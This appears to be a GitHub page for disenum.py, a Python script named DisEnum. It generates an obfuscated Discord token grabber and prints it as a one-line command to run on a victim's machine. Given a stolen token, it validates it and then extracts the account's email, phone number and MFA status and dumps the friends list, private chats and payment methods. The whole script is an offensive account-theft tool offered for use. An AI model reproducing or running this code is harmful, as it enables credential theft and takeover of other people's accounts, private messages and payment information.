-
Notifications
You must be signed in to change notification settings - Fork 1
/
disenum.py
93 lines (75 loc) · 3.13 KB
/
disenum.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/bin/env python3
import argparse
import sys
from colorama import init,Fore,Style,Back
from lib.tokencheck import *
from lib.enum import *
from lib.generation import *
init()
# Banner
banner = f'''{Style.BRIGHT}{Fore.RED}
/-----------------\ {Fore.YELLOW}v1.0
{Fore.YELLOW}DisEnum{Fore.RED}
\-----------------/
{Style.RESET_ALL}'''
print(banner)
# Argparse
parser = argparse.ArgumentParser(description='Discord Token Enumeration')
parser.add_argument('--generate',help='Generate Obfuscated Python code that will quickly grab Discord Tokens saved locally.',action='store_true')
parser.add_argument('--token',help='A Discord Token to Enumerate.')
args = parser.parse_args()
def message(message):
print(f'{Style.BRIGHT}{Fore.RED}[{Fore.YELLOW}DisEnum{Fore.RED}]{Style.RESET_ALL} {message}')
if not args.token and not args.generate:
message('Error: Please supply a Token with --token to Enumerate or use --generate to generate a Token Grabber!')
sys.exit()
elif args.generate:
# Token Grabber Generation
message('Generating a compact Token Grabber...')
print('\n--- Generated Python Code')
code = generate_token_grabber()
print(code)
print('\n--- CMD / Powershell Command')
print(f'python3 -c "{code}"')
sys.exit()
# Token Enumeration
TOKEN = args.token
######################################
# Token Check
result = check(TOKEN)
if result != False:
message(f'{Fore.GREEN}Token Is Valid!{Fore.RESET}')
else:
message(f'{Fore.RED}Token Is Not Valid!{Fore.RESET}')
print('Exiting...')
sys.exit()
# Enumeration
message('Enumerated Information From Authentication:\n')
print(f'{Fore.YELLOW}Username {Fore.RED}:{Fore.RESET} {result["username"]}')
print(f'{Fore.YELLOW}Profile Picture {Fore.RED}:{Fore.RESET} https://cdn.discordapp.com/avatars/{result["id"]}/{result["avatar"]}.webp')
print(f'{Fore.YELLOW}User ID {Fore.RED}:{Fore.RESET} {result["id"]}')
print(f'{Fore.YELLOW}Locale {Fore.RED}:{Fore.RESET} {result["locale"]}')
print('')
print(f'{Fore.YELLOW}Email {Fore.RED}:{Fore.RESET} {result["email"]}')
print(f'{Fore.YELLOW}Phone {Fore.RED}:{Fore.RESET} {str(result["phone"])}')
print('')
print(f'{Fore.YELLOW}Email Verified {Fore.RED}:{Fore.RESET} {str(result["verified"])}')
print(f'{Fore.YELLOW}MFA Enabled {Fore.RED}:{Fore.RESET} {str(result["mfa_enabled"])}')
print(f'{Fore.YELLOW}NSFW Allowed (18+) {Fore.RED}:{Fore.RESET} {str(result["nsfw_allowed"])}')
# Extracting Information
print('')
message("Enumerating Friends List...")
friendcount = getfriends(TOKEN)
print(f"Friends List Successfully Enumerated! (results/friends/...)")
print(f"Friend Count: {str(friendcount)}\n")
message("Enumerating Chats... (This may take a while, be patient! It is working!)")
chatcount = getchats(TOKEN)
print(f"Chats Successfully Enumerated! (results/chats/...)")
print(f"Chat Count: {str(chatcount)}\n")
message("Enumerating Payment Methods...")
methodcount = getpaymentmethods(TOKEN)
print(f"Payment Methods Successfully Enumerated! (results/payment-methods/...)")
print(f"Payment Method Count: {str(methodcount)}\n")
# Finished
print(f"\n{Style.BRIGHT}-=+ Finished! +=-{Style.RESET_ALL}")
sys.exit()